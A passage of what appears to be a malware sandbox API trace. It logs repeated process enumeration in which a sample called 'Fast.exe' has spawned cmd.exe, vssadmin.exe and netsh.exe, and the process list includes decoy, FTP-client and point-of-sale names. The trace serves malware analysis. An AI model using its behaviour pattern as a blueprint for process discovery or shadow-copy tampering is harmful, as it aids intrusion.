th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.552] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.554] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.556] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.558] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.560] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0081.563] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0081.565] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0081.567] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0081.568] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0081.570] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.572] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.574] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0081.575] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0082.309] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0082.311] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0082.313] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0082.314] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0082.316] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0082.318] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0082.320] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0082.321] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0082.323] CloseHandle (hObject=0x1b4) returned 1 [0082.323] Sleep (dwMilliseconds=0x1f4) [0083.338] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0083.347] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.349] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0083.352] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0083.354] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.356] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0083.357] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.359] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0083.361] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0083.362] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0083.364] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0083.366] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.367] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.369] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.889] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.891] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.893] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0083.894] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.896] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.897] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0083.899] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0083.901] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0083.903] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.904] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.906] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0083.908] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.909] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.911] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0083.913] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.914] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0083.916] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0083.918] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0083.919] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0083.921] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0083.923] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0083.924] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0083.926] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0083.927] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0083.929] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0083.930] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0084.394] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0084.396] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0084.398] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0084.399] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0084.403] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0084.404] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0084.406] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0084.407] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0084.409] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0084.410] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0084.412] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0084.413] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0084.414] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0084.418] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0084.419] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0084.420] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0084.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0084.423] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0084.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0084.426] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0084.429] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0084.664] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0084.668] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: 